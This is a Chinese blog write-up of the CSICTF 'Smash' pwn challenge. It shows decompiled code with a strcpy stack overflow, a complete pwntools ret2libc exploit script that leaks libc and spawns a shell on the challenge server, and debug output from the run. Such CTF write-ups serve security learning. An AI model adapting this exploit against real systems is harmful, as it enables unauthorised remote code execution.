【CSICTF】Smash WriteUp

原创

古月浪子 于 2020-07-23 15:57:44 发布 138 收藏

文章标签： CTF

本文链接：https://blog.csdn.net/tqydyqt/article/details/107462804

Smash

499

pwn binary

My first C program that says hello, do you want to try it?

https://mega.nz/file/UmoyyapQ#jMcq5WmcV-kPusmokMH-okJX6czkgkmMuItRaHWBbU0

nc chall.csivit.com 30046

hello

作为最后一道pwn题，难度还行
附件直接给了libc文件

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+3h] [ebp-Dh]
  void *ptr; // [esp+4h] [ebp-Ch]
  size_t size; // [esp+8h] [ebp-8h]

  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  size = 0;
  ptr = malloc(0);
  puts("What's your name?");
  while ( 1 )
  {
    __isoc99_scanf("%c", &v4);
    ptr = realloc(ptr, ++size);
    if ( v4 == 10 )
      break;
    *(ptr + size - 1) = v4;
  }
  *(ptr + size - 1) = 0;
  say_hello(ptr);
  free(ptr);
  return 0;
}
```

```
int __cdecl say_hello(char *src)
{
  char dest; // [esp+0h] [ebp-84h]

  strcpy(&dest, src);
  printf("Hello, ");
  printf(&dest);
  return puts("!");
}
```

main函数里采用动态分配内存来储存输入，无法溢出，但是会将字符串传入say_hello函数中，strcpy函数可以溢出
没有后门函数，考虑采取ret2libc的rop方法，先泄露libc基址，然后返回main函数，再system binsh拿到shell

```python
from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='i386'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30046)
#io=process('./hello')
elf=ELF('./hello')
libc=ELF('./libc.so.6')

ra()
sl('a'*(0x84+4)+p32(elf.plt['puts'])+p32(0x804865D)+p32(elf.got['puts']))
rl()
puts_addr=u32(rn(4))
libc_addr=puts_addr-libc.sym['puts']
system_addr=libc_addr+libc.sym['system']
binsh=libc_addr+libc.search('/bin/sh\0').next()
ra()
sl('a'*(0x84+4)+p32(system_addr)+p32(0x804865D)+p32(binsh))

io.interactive()
```

```
wesker@ubuntu: ~/Desktop
文件(F)  编辑(E)  查看(V)  搜索(S)  终端(T)  帮助(H)
·|]···|
    00000090  0b 51 f6 f7  0a                                        |·Q··|·|
    00000095
[*] Switching to interactive mode
[DEBUG] Received 0x7 bytes:
    'Hello, '
Hello, [DEBUG] Received 0x96 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  |aaaa|aaaa|aaa
a|aaaa|
    *
    00000080  61 61 61 61  61 61 61 61  50 69 e4 f7  5d 86 04 08  |aaaa|aaaa|Pi·
·|]···|
    00000090  0b 51 f6 f7  21 0a                                  |·Q··|!·|
    00000096
aaaa
```